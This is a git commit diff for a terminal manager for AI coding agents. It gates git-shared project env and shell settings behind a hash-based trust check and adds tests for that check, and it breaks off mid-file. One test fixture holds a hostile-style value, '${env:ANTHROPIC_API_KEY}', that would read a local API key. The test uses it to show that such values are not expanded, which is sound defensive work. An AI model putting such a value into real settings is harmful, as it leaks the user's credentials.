Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

feat(project-settings): trusted project env + shell at the spawn

enesc530e8914c8f
diff --git a/src/core/project-launch-info-handlers.ts b/src/core/project-launch-info-handlers.ts
index 6dce93f57..8a14c18b2 100644
--- a/src/core/project-launch-info-handlers.ts
+++ b/src/core/project-launch-info-handlers.ts
@@ -1,13 +1,12 @@
import { IPC } from '../shared/ipc'
import {
- projectTrustContent,
resolveProjectSettings,
type ProjectLaunchInfo,
- type ProjectSettingsDoc,
- type ProjectTrustFamily
+ type ProjectSettingsDoc
} from '../shared/project-settings'
import type { CorePlatform } from './platform'
-import { hashTrustContent, localTrustKey, sshTrustKey, type ProjectTrustStore } from './project-trust-store'
+import type { ProjectTrustStore } from './project-trust-store'
+import { projectFamilyTrusted, projectTrustKeyFor } from './project-trust-verdict'
import type { WorkspaceStore } from './workspace-store'
/**
@@ -39,19 +38,14 @@ export function registerProjectLaunchInfoHandlers(
const info = workspaceStore.projectTargetInfo(projectId)
const sharedDoc: ProjectSettingsDoc = snap.shared ?? {}
const resolved = resolveProjectSettings(snap.local, snap.shared ?? undefined)
- // A cwd-less inline canvas falls to `localTrustKey('')` — inert by construction: such a
- // project has no shared document to have, so `sharedDoc` is always `{}` and every family's
- // `projectTrustContent` already returns null before this key is ever consulted.
- const key = info?.ssh
- ? sshTrustKey({ server: info.ssh.server, remoteCwd: info.ssh.remoteCwd })
- : localTrustKey(info?.cwd ?? '')
- const trustedFor = async (family: ProjectTrustFamily): Promise<boolean> => {
- const content = projectTrustContent(family, sharedDoc)
- // No shared executable content for this family — nothing to gate.
- if (content === null) return true
- return trustStore.isTrusted(key, family, hashTrustContent(content))
+ // The verdict itself lives in `project-trust-verdict.ts`, shared with the SPAWN's own reader
+ // (`makeProjectSpawnOverrides`): a renderer told "trusted" here while the spawn silently
+ // drops the same value would be a gate that reports one thing and enforces another.
+ const key = projectTrustKeyFor(info)
+ const trusted = {
+ agents: await projectFamilyTrusted(trustStore, key, 'agents', sharedDoc),
+ shell: await projectFamilyTrusted(trustStore, key, 'shell', sharedDoc)
}
- const trusted = { agents: await trustedFor('agents'), shell: await trustedFor('shell') }
return { resolved, trusted }
}
)
diff --git a/src/core/project-setup-handlers.ts b/src/core/project-setup-handlers.ts
index 2df9c1548..8d7a5dda8 100644
--- a/src/core/project-setup-handlers.ts
+++ b/src/core/project-setup-handlers.ts
@@ -46,6 +46,30 @@ export interface ProjectSetupHandlerDeps {
const isKind = (v: unknown): v is ProjectSetupKind => v === 'setup' || v === 'archive'
+/**
+ * "Make sure this project's `<family>` is trusted", by project id alone — the derivation shared by
+ * the `projectSetupRequestTrust` channel below and by the SPAWN's own reader
+ * (`makeProjectSpawnOverrides`, wired in main/server). Same trust boundary as `run`: rootPath /
+ * projectName / ssh come from THIS process's workspace index, never from a caller.
+ *
+ * No worktree argument at all — trust is keyed to the project ROOT (a worktree inherits the root's
+ * approval), so there is no path-shaped input to validate. Answers `false` when the project cannot
+ * be resolved or the service has no gate; never throws.
+ */
+export function makeProjectTrustRequester(
+ service: ProjectSetupHandlerService,
+ deps: ProjectSetupHandlerDeps
+): (projectId: string, family: ProjectConsumerFamily) => Promise<boolean> {
+ return async (projectId, family) => {
+ const ask = service.ensureFamilyTrusted?.bind(service)
+ if (!ask) return false
+ const info = deps.projectTargetInfo(projectId)
+ const target = await resolveProjectSetupTarget(projectId, undefined, info, deps.worktreeList)
+ if (!target) return false
+ return ask(target, family)
+ }
+}
+
export function registerProjectSetupHandlers(
platform: CorePlatform,
service: ProjectSetupHandlerService,
@@ -66,6 +90,7 @@ export function registerProjectSetupHandlers(
return service.run(target, kind)
}
)
+ const requestTrust = makeProjectTrustRequester(service, deps)
platform.handle(
IPC.projectSetupRequestTrust,
async (projectId: unknown, family: unknown): Promise<boolean> => {
@@ -73,14 +98,7 @@ export function registerProjectSetupHandlers(
// would hand a caller a run-less way to raise (and then answer) the host's setup dialog.
if (typeof projectId !== 'string' || !projectId) return false
if (family !== 'agents' && family !== 'shell') return false
- const ask = service.ensureFamilyTrusted?.bind(service)
- if (!ask) return false
- // Same derivation as `run`, minus the worktree: trust is keyed to the project ROOT (a
- // worktree inherits the root's approval), so there is no path-shaped argument at all here.
- const info = deps.projectTargetInfo(projectId)
- const target = await resolveProjectSetupTarget(projectId, undefined, info, deps.worktreeList)
- if (!target) return false
- return ask(target, family)
+ return requestTrust(projectId, family)
}
)
platform.handle(IPC.projectSetupCancel, (runKey: unknown) =>
diff --git a/src/core/project-spawn-overrides.test.ts b/src/core/project-spawn-overrides.test.ts
new file mode 100644
index 000000000..9e80deb90
--- /dev/null
+++ b/src/core/project-spawn-overrides.test.ts
@@ -0,0 +1,237 @@
+// `makeProjectSpawnOverrides` — the ONE decision a spawn asks about a project's settings.
+//
+// Two rules carry the whole file. (1) A LOCAL value is the user's own typing on this machine and is
+// always consumed. (2) A SHARED value arrived through git (or off a remote host) and is consumed
+// only while the family's shared-content hash is trusted AT THIS LOCATION — the same verdict
+// `project-settings:launch-info` reports, computed by the same helper, so the two can never drift.
+// Everything else is fail-open: a spawn must never be blocked, delayed or failed by this reader.
+import { describe, it, expect, vi } from 'vitest'
+import { makeProjectSpawnOverrides } from './project-spawn-overrides'
+import { hashTrustContent, localTrustKey, sshTrustKey } from './project-trust-store'
+import { projectTrustContent, type ProjectSettingsSnapshot } from '../shared/project-settings'
+import type { ProjectSetupTargetInfo } from './project-setup-runner-local'
+
+const CWD = '/repo/app'
+const KEY = localTrustKey(CWD)
+
+function snapshot(
+ shared: ProjectSettingsSnapshot['shared'],
+ local?: ProjectSettingsSnapshot['local']
+): ProjectSettingsSnapshot {
+ return { shared, local }
+}
+
+function sharedDoc(doc: object): ProjectSettingsSnapshot['shared'] {
+ return { version: 1, rev: 1, savedAt: '', ...doc } as ProjectSettingsSnapshot['shared']
+}
+
+/** A reader over one project, with a trust store that only knows the hashes it was handed. */
+function make(opts: {
+ snap?: ProjectSettingsSnapshot | null
+ info?: ProjectSetupTargetInfo | null
+ trusted?: string[]
+ readSettings?: () => Promise<ProjectSettingsSnapshot | null>
+ isTrusted?: () => Promise<boolean>
+}) {
+ const asked: Array<[string, string, string]> = []
+ const requested: Array<[string, string]> = []
+ const read = makeProjectSpawnOverrides({
+ readSettings: opts.readSettings ?? (async () => opts.snap ?? null),
+ targetInfo: () => (opts.info === undefined ? { cwd: CWD, name: 'app' } : opts.info),
+ trust: {
+ isTrusted: async (key, family, hash) => {
+ asked.push([key, family, hash])
+ if (opts.isTrusted) return opts.isTrusted()
+ return (opts.trusted ?? []).includes(hash)
+ }
+ },
+ requestTrust: (projectId, family) => {
+ requested.push([projectId, family])
+ }
+ })
+ return { read, asked, requested }
+}
+
+describe('makeProjectSpawnOverrides — env', () => {
+ it('applies a LOCAL env with no trust question at all', async () => {
+ const { read, asked, requested } = make({
+ snap: snapshot(null, { agents: { env: { FOO: 'bar' } } })
+ })
+ expect(await read('p1')).toEqual({ env: { FOO: 'bar' } })
+ expect(asked).toEqual([])
+ expect(requested).toEqual([])
+ })
+
+ it('applies a SHARED env once the agents family is trusted at this location', async () => {
+ const doc = { agents: { env: { API: 'k' } } }
+ const hash = hashTrustContent(projectTrustContent('agents', doc)!)
+ const { read, asked, requested } = make({ snap: snapshot(sharedDoc(doc)), trusted: [hash] })
+ expect(await read('p1')).toEqual({ env: { API: 'k' } })
+ expect(asked).toEqual([[KEY, 'agents', hash]])
+ expect(requested).toEqual([])
+ })
+
+ it('OMITS a shared env that is not trusted, and asks for trust exactly once', async () => {
+ const doc = { agents: { env: { API: 'k' } } }
+ const { read, requested } = make({ snap: snapshot(sharedDoc(doc)), trusted: [] })
+ expect(await read('p1')).toBeNull()
+ expect(requested).toEqual([['p1', 'agents']])
+ })
+
+ it('uses the SSH location key when the project lives on a remote host', async () => {
+ const doc = { agents: { env: { API: 'k' } } }
+ const hash = hashTrustContent(projectTrustContent('agents', doc)!)
+ const ssh = { server: { host: 'h', user: 'u', port: 2222 }, remoteCwd: '/srv/app' }
+ const { read, asked } = make({
+ snap: snapshot(sharedDoc(doc)),
+ info: { name: 'app', ssh },
+ trusted: [hash]
+ })
+ expect(await read('p1')).toEqual({ env: { API: 'k' } })
+ expect(asked[0][0]).toBe(sshTrustKey(ssh))
+ })
+
+ it('a local env SHADOWS the shared one and is never gated (the resolver already picked it)', async () => {
+ const { read, asked } = make({
+ snap: snapshot(sharedDoc({ agents: { env: { API: 'shared' } } }), {
+ agents: { env: { API: 'mine' } }
+ })
+ })
+ expect(await read('p1')).toEqual({ env: { API: 'mine' } })
+ expect(asked).toEqual([])
+ })
+})
+
+describe('makeProjectSpawnOverrides — shell', () => {
+ it('applies a LOCAL shell with no trust question', async () => {
+ const { read, asked } = make({ snap: snapshot(null, { terminal: { shell: '/bin/fish' } }) })
+ expect(await read('p1')).toEqual({ shell: '/bin/fish' })
+ expect(asked).toEqual([])
+ })
+
+ it('applies a SHARED shell once the shell family is trusted', async () => {
+ const doc = { terminal: { shell: '/bin/zsh' } }
+ const hash = hashTrustContent(projectTrustContent('shell', doc)!)
+ const { read } = make({ snap: snapshot(sharedDoc(doc)), trusted: [hash] })
+ expect(await read('p1')).toEqual({ shell: '/bin/zsh' })
+ })
+
+ it('OMITS an untrusted shared shell and asks for trust', async () => {
+ const { read, requested } = make({
+ snap: snapshot(sharedDoc({ terminal: { shell: '/bin/zsh' } })),
+ trusted: []
+ })
+ expect(await read('p1')).toBeNull()
+ expect(requested).toEqual([['p1', 'shell']])
+ })
+
+ it('asks for BOTH families when both are shared and neither is trusted', async () => {
+ const { read, requested } = make({
+ snap: snapshot(sharedDoc({ agents: { env: { A: '1' } }, terminal: { shell: '/bin/zsh' } })),
+ trusted: []
+ })
+ expect(await read('p1')).toBeNull()
+ expect(requested).toEqual([
+ ['p1', 'agents'],
+ ['p1', 'shell']
+ ])
+ })
+})
+
+describe('makeProjectSpawnOverrides — fail open', () => {
+ it('answers null when the project has no settings at all', async () => {
+ expect(await make({ snap: null }).read('p1')).toBeNull()
+ })
+
+ it('answers null when nothing in the document is a spawn override', async () => {
+ const { read } = make({ snap: snapshot(sharedDoc({ setup: { setupScript: 'make' } })) })
+ expect(await read('p1')).toBeNull()
+ })
+
+ it('answers null (never throws) when the settings read rejects', async () => {
+ const { read } = make({
+ readSettings: () => Promise.reject(new Error('EIO'))
+ })
+ await expect(read('p1')).resolves.toBeNull()
+ })
+
+ it('treats a trust store that throws as NOT trusted, and still answers', async () => {
+ const { read, requested } = make({
+ snap: snapshot(sharedDoc({ agents: { env: { A: '1' } } })),
+ isTrusted: () => Promise.reject(new Error('EACCES'))
+ })
+ await expect(read('p1')).resolves.toBeNull()
+ expect(requested).toEqual([['p1', 'agents']])
+ })
+
+ it('survives a requestTrust that throws — the ask is fire-and-forget', async () => {
+ const read = makeProjectSpawnOverrides({
+ readSettings: async () => snapshot(sharedDoc({ agents: { env: { A: '1' } } })),
+ targetInfo: () => ({ cwd: CWD, name: 'app' }),
+ trust: { isTrusted: async () => false },
+ requestTrust: () => {
+ throw new Error('no window')
+ }
+ })
+ await expect(read('p1')).resolves.toBeNull()
+ })
+
+ it('does not wait on requestTrust (a dialog stays open for minutes)', async () => {
+ let settle: (() => void) | undefined
+ const read = makeProjectSpawnOverrides({
+ readSettings: async () => snapshot(sharedDoc({ agents: { env: { A: '1' } } })),
+ targetInfo: () => ({ cwd: CWD, name: 'app' }),
+ trust: { isTrusted: async () => false },
+ requestTrust: () => new Promise<boolean>((r) => (settle = () => r(true)))
+ })
+ await expect(read('p1')).resolves.toBeNull()
+ expect(settle).toBeTypeOf('function')
+ })
+
+ it('a cwd-less inline canvas still resolves (no shared doc to gate)', async () => {
+ const { read } = make({ snap: snapshot(null, { agents: { env: { A: '1' } } }), info: null })
+ expect(await read('p1')).toEqual({ env: { A: '1' } })
+ })
+
+ it('registers no requestTrust at all without one wired', async () => {
+ const read = makeProjectSpawnOverrides({
+ readSettings: async () => snapshot(sharedDoc({ terminal: { shell: '/bin/zsh' } })),
+ targetInfo: () => ({ cwd: CWD, name: 'app' }),
+ trust: { isTrusted: async () => false }
+ })
+ await expect(read('p1')).resolves.toBeNull()
+ })
+})
+
+describe('makeProjectSpawnOverrides — literal values only', () => {
+ // `${env:VAR}` expansion is a CUSTOM-AGENT feature (custom-agent-env.ts), deliberately NOT
+ // inherited here: a project's settings.json is git-shared hostile input, and expansion would turn
+ // an approved-looking literal into a read of this machine's process environment.
+ it('passes a ${env:…}-shaped value through verbatim', async () => {
+ const { read } = make({
+ snap: snapshot(null, { agents: { env: { TOKEN: '${env:ANTHROPIC_API_KEY}' } } })
+ })
+ expect(await read('p1')).toEqual({ env: { TOKEN: '${env:ANTHROPIC_API_KEY}' } })
+ })
+})
+
+describe('makeProjectSpawnOverrides — hash rule shared with launch-info', () => {
+ it('asks the trust store the SAME (key, family, hash) the launch-info verdict asks', async () => {
+ const doc = { agents: { launchCmd: 'claude --yolo', env: { A: '1' } } }
+ const { read, asked } = make({ snap: snapshot(sharedDoc(doc)), trusted: [] })
+ await read('p1')
+ // Hashed from the SHARED document alone, covering launchCmd AND env together.
+ expect(asked).toEqual([[KEY, 'agents', hashTrustContent(projectTrustContent('agents', doc)!)]])
+ })
+
+ it('never gates a family whose shared half is empty (nothing to approve)', async () => {
+ const spy = vi.fn(async () => false)
+ const read = makeProjectSpawnOverrides({
+ readSettings: async () => snapshot(sharedDoc({}), { agents: { env: { A: '1' } } }),
+ targetInfo: () => ({ cwd: CWD, name: 'app' }),
+ trust: { isTrusted: spy }
+ })
+ expect(await read('p1')).toEqual({ env: { A: '1' } })
+ expect(spy).not.toHaveBeenCalled()
+ })
+})
diff --git a/src/core/project-spawn-overrides.ts b/src/core/project-spawn-overrides.ts
new file mode 100644
index 000000000..8793a6a30
--- /dev/null
+++ b/src/core/project-spawn-overrides.ts
@@ -0,0 +1,114 @@
+import {
+ resolveProjectSettings,
+ type ProjectSettingsDoc,
+ type ProjectSettingsSnapshot,
+ type ResolvedProjectSetting
+} from '../shared/project-settings'
+import type { ProjectConsumerFamily } from './project-setup-service'
+import type { ProjectSetupTargetInfo } from './project-setup-runner-local'
+import type { ProjectTrustStore } from './project-trust-store'
+import { projectFamilyTrusted, projectTrustKeyFor } from './project-trust-verdict'
+
+/**
+ * What a project contributes to a session it owns: environment variables and the terminal program.
+ * `PtyManager` consumes exactly this and nothing else (`setProjectSpawnOverrides`).
+ *
+ * Absent fields mean "the project has no opinion" — never "clear what was there". A spawn with no
+ * overrides at all answers `null`, so the whole feature costs one skipped branch on every path that
+ * has no project settings.
+ */
+export interface ProjectSpawnOverrides {
+ /** LITERAL values only. `${env:VAR}` is NOT expanded here — that is a custom-agent feature
+ * (custom-agent-env.ts) and inheriting it would turn a git-shared settings.json into a read of
+ * this machine's process environment, laundered past a dialog that rendered the literal. The
+ * keys/values are already bounded and identifier-shaped by the Task 1 sanitizer. */
+ env?: Record<string, string>
+ /** Still validated at the spawn (`safeSessionProgram`) — see `PtyManager.spawnSession`. */
+ shell?: string
+}
+
+export type ProjectSpawnOverridesReader = (
+ projectId: string
+) => Promise<ProjectSpawnOverrides | null>
+
+export interface ProjectSpawnOverridesDeps {
+ /** This shell's own settings resolution (e.g. `WorkspaceStore.readProjectSettings`). */
+ readSettings(projectId: string): Promise<ProjectSettingsSnapshot | null>
+ /**
+ * The project's LOCATION, from this process's own workspace index (e.g.
+ * `WorkspaceStore.projectTargetInfo`) — never from the renderer, and never derived from the
+ * git-shared `project.json`. Required because trust is keyed by location, not project id.
+ */
+ targetInfo(projectId: string): ProjectSetupTargetInfo | null
+ trust: Pick<ProjectTrustStore, 'isTrusted'>
+ /**
+ * Raise the consent dialog for a family whose SHARED value was just refused
+ * (`ProjectSetupService.ensureFamilyTrusted`, single-flight per family+location). FIRE AND
+ * FORGET: this spawn has already decided to go without the value — waiting on a human would
+ * block a terminal for up to five minutes, and the answer arrives in time for the NEXT launch.
+ * Optional so a shell with no consent surface still gets the local-value half.
+ */
+ requestTrust?(projectId: string, family: ProjectConsumerFamily): unknown
+}
+
+/** Shared-sourced values are the gated ones; a local value is this machine's own typing. */
+function isShared<T>(r: ResolvedProjectSetting<T> | undefined): boolean {
+ return r?.source === 'shared'
+}
+
+/**
+ * The ONE reader both shells inject into `PtyManager` (main/index.ts + server/index.ts).
+ *
+ * Rules, in the order they matter:
+ * 1. A LOCAL value is always consumed, with no trust question and no prompt — the user typed it
+ * into this machine's own overlay, which is the same reason `ProjectSetupService.run` never
+ * gates a local script.
+ * 2. A SHARED value (git, or a remote host's disk) is consumed only while its family's
+ * shared-content hash is trusted at this LOCATION — the verdict computed by
+ * `projectFamilyTrusted`, the same helper `project-settings:launch-info` reports from.
+ * 3. An untrusted shared value is OMITTED and the family's consent dialog is requested
+ * fire-and-forget. The spawn is never delayed by it.
+ * 4. Everything else fails OPEN: no settings, an unreadable document, a throwing trust store, a
+ * throwing `requestTrust` — all answer "no overrides", never an exception into the spawn path.
+ */
+export function makeProjectSpawnOverrides(
+ deps: ProjectSpawnOverridesDeps
+): ProjectSpawnOverridesReader {
+ return async (projectId: string): Promise<ProjectSpawnOverrides | null> => {
+ let snap: ProjectSettingsSnapshot | null
+ try {
+ snap = await deps.readSettings(projectId)
+ } catch {
+ return null
+ }
+ if (!snap) return null
+ const resolved = resolveProjectSettings(snap.local, snap.shared ?? undefined)
+ const envSetting = resolved.agents.env
+ const shellSetting = resolved.terminal.shell
+ if (!envSetting && !shellSetting) return null
+
+ const sharedDoc: ProjectSettingsDoc = snap.shared ?? {}
+ const key = projectTrustKeyFor(deps.targetInfo(projectId))
+ /** Ask once per family, and never wait on the human. */
+ const admit = async (family: ProjectConsumerFamily): Promise<boolean> => {
+ if (await projectFamilyTrusted(deps.trust, key, family, sharedDoc)) return true
+ try {
+ // Deliberately not awaited (and not returned): `ensureFamilyTrusted` resolves only when a
+ // human answers — or in five minutes, when the prompt expires.
+ void deps.requestTrust?.(projectId, family)
+ } catch {
+ /* a shell with no window to prompt in is still a shell that spawns terminals */
+ }
+ return false
+ }
+
+ const out: ProjectSpawnOverrides = {}
+ if (envSetting && (!isShared(envSetting) || (await admit('agents')))) {
+ out.env = { ...envSetting.value }
+ }
+ if (shellSetting && (!isShared(shellSetting) || (await admit('shell')))) {
+ out.shell = shellSetting.value
+ }
+ return out.env || out.shell ? out : null
+ }
+}
diff --git a/src/core/project-trust-verdict.ts b/src/core/project-trust-verdict.ts
new file mode 100644
index 000000000..f091703a2
--- /dev/null
+++ b/src/core/project-trust-verdict.ts
@@ -0,0 +1,55 @@
+import {
+ projectTrustContent,
+ type ProjectSettingsDoc,
+ type ProjectTrustFamily
+} from '../shared/project-settings'
+import type { ProjectSetupTargetInfo } from './project-setup-runner-local'
+import { hashTrustContent, localTrustKey, sshTrustKey, type ProjectTrustStore } from './project-trust-store'
+
+/**
+ * The ONE trust verdict a consumer of project settings asks for, shared by every consumer so the
+ * hash rule cannot fork.
+ *
+ * Two callers today: `project-settings:launch-info` (the renderer's pre-launch read,
+ * `project-launch-info-handlers.ts`) and `makeProjectSpawnOverrides` (the spawn's own read,
+ * `project-spawn-overrides.ts`). They MUST agree — a renderer told "trusted" while the spawn
+ * silently drops the same value, or the reverse, is a gate that reports one thing and enforces
+ * another. Keeping the rule here is what makes that impossible rather than merely unlikely.
+ *
+ * The rule itself is `ProjectSetupService.run`'s, aimed at a family this process never executes:
+ * - the hash covers the SHARED document alone — never the merged/effective one, or a local
+ * override could launder a shared change past the hash,
+ * - a family with NO shared executable content (`projectTrustContent` → null) is trusted with no
+ * prompt: there is nothing hostile to gate,
+ * - trust is keyed by LOCATION, never by project id (ids come out of an attacker-controlled
+ * `project.json` — hostile-project-json).
+ */
+
+/** The LOCATION key for a project's own index entry. A cwd-less inline canvas falls to
+ * `localTrustKey('')` — inert by construction: such a project has no shared document, so every
+ * family's `projectTrustContent` returns null before this key is ever consulted. */
+export function projectTrustKeyFor(info: ProjectSetupTargetInfo | null | undefined): string {
+ return info?.ssh
+ ? sshTrustKey({ server: info.ssh.server, remoteCwd: info.ssh.remoteCwd })
+ : localTrustKey(info?.cwd ?? '')
+}
+
+/**
+ * Is this family's SHARED content trusted at `key` right now? `true` also when the family has no
+ * shared executable content at all (nothing to gate). A trust store that throws is NOT trusted —
+ * fail closed on the grant, never on the spawn (callers keep going without the shared value).
+ */
+export async function projectFamilyTrusted(
+ trust: Pick<ProjectTrustStore, 'isTrusted'>,
+ key: string,
+ family: ProjectTrustFamily,
+ sharedDoc: ProjectSettingsDoc
+): Promise<boolean> {
+ const content = projectTrustContent(family, sharedDoc)
+ if (content === null) return true
+ try {
+ return await trust.isTrusted(key, family, hashTrustContent(content))
+ } catch {
+ return false
+ }
+}
diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.ts
index 2890a6aff..924d05014 100644
--- a/src/core/pty-manager.ts
+++ b/src/core/pty-manager.ts
@@ -96,6 +96,7 @@ import {
} from './remote-ssh/session-env'
import { foregroundProcessGroup, parsePaneProcess } from './pane-process'
import { isShellCommand } from '../shared/agents/pane'
+import type { ProjectSpawnOverrides, ProjectSpawnOverridesReader } from './project-spawn-overrides'
// How often we snapshot a live tmux session's scrollback to disk, so a machine reboot (which
// kills the tmux server) can still replay recent output on cold restart. A final snapshot also
@@ -128,6 +129,17 @@ const execFileAsync = promisify(execFile)
*/
const PROC_TIMEOUT_MS = 15_000
+/**
+ * How long a spawn may wait on the project's settings before it goes ahead WITHOUT them.
+ *
+ * The reader is cheap on the local leg (an in-process store read), but the SSH leg's
+ * `readProjectSettings` reconciles the host's `settings.json` over the ControlMaster — the same
+ * half-dead-socket hazard that wedged `pty:create` once already (see PROC_TIMEOUT_MS). A terminal
+ * must never hang on a settings read, and the failure direction is the same one everything else
+ * here takes: no overrides, spawn anyway.
+ */
+const PROJECT_OVERRIDES_TIMEOUT_MS = 2_000
+
/**
* Shorter for the probes an interactive spawn WAITS ON. `hasRemoteSession` only decides warm vs
* cold attach, and its timeout already degrades to the safe answer ("cannot probe" is not evidence
@@ -684,6 +696,14 @@ export class PtyManager {
private getSettings: () => Settings = () => DEFAULT_SETTINGS
/** Literal model-gateway key loaded by the shell's secret service during startup. */
private getModelGatewaySecret: () => string | null = () => null
+ /**
+ * What the OWNING project contributes to a session's env + shell, or null when it contributes
+ * nothing. Injected (not constructed) for the same reason `getSettings` is: core cannot see the
+ * workspace store or the trust store, and both shells wire the SAME core factory
+ * (`makeProjectSpawnOverrides`). Unset ⇒ the feature is simply absent — every spawn behaves
+ * exactly as it did before it existed.
+ */
+ private readProjectSpawnOverrides: ProjectSpawnOverridesReader | null = null
/** ONE shared snapshot interval for all persisted sessions — a per-session interval spawned
* one tmux/ssh capture subprocess per session per tick, forever, even for idle terminals. */
private snapshotTimer: ReturnType<typeof setInterval> | null = null
@@ -1247,6 +1267,48 @@ export class PtyManager {
primePtyCeiling()
}
+ /**
+ * Wire the project settings → spawn overrides reader (SDD: project-settings consumption, Task 4).
+ *
+ * A SEPARATE setter rather than a third `init` argument: the Server Edition constructs its
+ * workspace/trust stores AFTER `ptyManager.init(...)`, so an init parameter could only ever be
+ * wired on one of the two shells.
+ */
+ setProjectSpawnOverrides(read: ProjectSpawnOverridesReader | null): void {
+ this.readProjectSpawnOverrides = read
+ }
+
+ /**
+ * The project's contribution to THIS spawn — bounded and fail-open on every path.
+ *
+ * - no reader wired, or no `ownerProjectId` (the pane is UNPROVEN — see PtyCreateOptions) ⇒ no
+ * overrides, and the reader is not even asked,
+ * - a reader that rejects ⇒ no overrides,
+ * - a reader that HANGS ⇒ no overrides after PROJECT_OVERRIDES_TIMEOUT_MS. The read still
+ * settles on its own afterwards (nothing is cancelled); this spawn just stops waiting.
+ */
+ private async projectSpawnOverrides(
+ options: PtyCreateOptions
+ ): Promise<ProjectSpawnOverrides | null> {
+ const read = this.readProjectSpawnOverrides
+ if (!read || !options.ownerProjectId) return null
+ let timer: ReturnType<typeof setTimeout> | undefined
+ try {
+ return await Promise.race([
+ read(options.ownerProjectId),
+ new Promise<null>((resolve) => {
+ timer = setTimeout(() => resolve(null), PROJECT_OVERRIDES_TIMEOUT_MS)
+ // Never hold the process open for a settings read nobody is waiting on any more.
+ timer.unref?.()
+ })
+ ])
+ } catch {
+ return null
+ } finally {
+ if (timer) clearTimeout(timer)
+ }
+ }
+
/** Probe tmux and write/push the generated config. Idempotent and safe to re-run: a later
* successful probe (the banner's install command finishing, or init()'s post-PATH-probe re-run
* finding a tmux only the login shell knew about) brings tmux up for NEW sessions without an
@@ -1741,7 +1803,12 @@ export class PtyManager {
if (hasSharedIdentity((options.agentId ?? 'claude') as AgentId) && !options.sshRemote) {
installCodexLauncher()
}
- const sessionId = this.spawnSession(options, clientId, undefined)
+ // Resolved HERE rather than inside `spawnSession` because that function is synchronous and two
+ // of its three callers (`createDetached`/`attachDetached`, the relay host's attach path) are
+ // synchronous public API. Those two carry no `ownerProjectId` — they attach to a session the
+ // host already spawned — so this is also the only path that could contribute overrides at all.
+ const projectOverrides = await this.projectSpawnOverrides(options)
+ const sessionId = this.spawnSession(options, clientId, undefined, projectOverrides)
const spawned = this.sessions.get(sessionId)
// PANE OWNERSHIP (agent messaging, PR #237 fix round 2): record the OWNING project of a pane
// this process just GENUINELY spawned. Gated on `fresh` — an attach/co-attach to a session
@@ -1925,7 +1992,10 @@ export class PtyManager {
options: PtyCreateOptions,
/** The client this session is spawned for, or null for a relay-served (detached) pty. */
clientId: ClientId | null,
- sinks: DetachedSinks | undefined
+ sinks: DetachedSinks | undefined,
+ /** What the OWNING project contributes (see `projectSpawnOverrides`) — already resolved,
+ * because this function is synchronous. Null on every path with no proven project owner. */
+ overrides?: ProjectSpawnOverrides | null
): string {
// PRE-FLIGHT — refuse before node-pty is touched, not after it fails.
//
@@ -2120,6 +2190,20 @@ export class PtyManager {
for (const [k, v] of Object.entries(gatewayEnv)) env[k] = v
}
+ // The OWNING project's env (`.nodeterm/settings.json`, local overlay + TRUSTED shared half —
+ // the gate is in `makeProjectSpawnOverrides`, never here). Placed between the gateway and the
+ // custom agent on purpose: a project may point its terminals at its own tooling, and a
+ // per-agent config the user wrote for THIS agent still beats it on a key collision.
+ //
+ // LITERAL values only: no `${env:VAR}` expansion. That is a custom-agent feature and a
+ // settings.json is git-shared hostile input — expanding it would turn an approved-looking
+ // literal into a read of this machine's process environment. The keys/values are already
+ // bounded and identifier-shaped by the settings sanitizer.
+ const projectEnv = overrides?.env
+ if (!options.sshRemote && projectEnv) {
+ for (const [k, v] of Object.entries(projectEnv)) env[k] = v
+ }
+
// Custom-agent env: merged LAST so it wins over hook + account + PATH/LANG env (required for
// the proxy use case — the user's ANTHROPIC_AUTH_TOKEN / ANTHROPIC_BASE_URL must beat whatever
// the account path set). ${env:VAR} is expanded against the live process env. Only the LOCAL
@@ -2148,7 +2232,16 @@ export class PtyManager {
// mutation, or the user), so an unsafe value degrades to `undefined` = the default shell —
// never to execution. @shared/node-exec keeps foreign values out of `options.shell` in the
// first place; this is the second layer.
- const reqShell = safeSessionProgram(options.shell)
+ //
+ // PRECEDENCE: the NODE's own `options.shell` wins outright — it is the exec-trusted value
+ // @shared/node-exec already vouched for, and a node that names its program means it. Only when
+ // it names none does the owning project's shell apply (local overlay, or a shared value the
+ // trust gate admitted). `??` deliberately reads the node's value BEFORE validation, so an
+ // unsafe node shell degrades to the default shell rather than silently falling through to the
+ // project's — the caller asked for a specific program and did not get the project's instead.
+ // Validation covers both sources: a project settings.json is git-shared (and on an SSH project
+ // it lives on the remote HOST), i.e. exactly the foreign provenance this check exists for.
+ const reqShell = safeSessionProgram(options.shell ?? overrides?.shell)
const program = reqShell === 'ssh' ? findSsh() ?? 'ssh' : reqShell
const programArgs = options.shellArgs ?? []
@@ -2228,7 +2321,9 @@ export class PtyManager {
// and the remote conf's `update-environment` copies the names into the session env. Gated on
// the validated remote $HOME and on a wired uploader — absent either, the vars are simply
// not delivered and the agent fails loudly in its pane (fail-open, never a fallback to argv).
- const remoteEnvPairs: Record<string, string> = { ...gatewayEnv }
+ // The project's env joins that same 0600 file — same reason, same ordering as the local leg
+ // (gateway, then project, then the custom agent's own values on top).
+ const remoteEnvPairs: Record<string, string> = { ...gatewayEnv, ...(projectEnv ?? {}) }
for (const kv of remoteCustomEnv.args) {
const eq = kv.indexOf('=')
if (eq > 0) remoteEnvPairs[kv.slice(0, eq)] = kv.slice(eq + 1)
@@ -2310,7 +2405,10 @@ export class PtyManager {
// client's argv — world-readable in /proc/<pid>/cmdline on a multi-user host, the exact
// PR #195 leak class. Custom-agent env keys OUTSIDE the baked gateway list still need the
// option appended at runtime on a shared server (the conf assignment cannot know them):
- this.ensureUpdateEnvKeys(Object.keys(customEnvMerged))
+ // The project's keys need the same treatment for the same reason: their VALUES are in this
+ // tmux client's process env (merged above) and must reach the session without ever appearing
+ // on the long-lived client's argv.
+ this.ensureUpdateEnvKeys([...Object.keys(customEnvMerged), ...Object.keys(projectEnv ?? {})])
const attachFlags = tmuxAttachFlags(!!sinks)
args = [
'-L',
diff --git a/src/core/pty-project-settings.test.ts b/src/core/pty-project-settings.test.ts
new file mode 100644
index 000000000..2998861f3
--- /dev/null
+++ b/src/core/pty-project-settings.test.ts
@@ -0,0 +1,272 @@
+// A project's trusted env + shell, AT THE SPAWN (SDD: project-settings consumption, Task 4).
+//
+// `makeProjectSpawnOverrides` decides WHAT a project contributes; this file proves WHERE it lands:
+// - local leg: into the pty's own environment, after the model gateway and BEFORE custom-agent env
+// (a per-agent config still beats the project on a key collision),
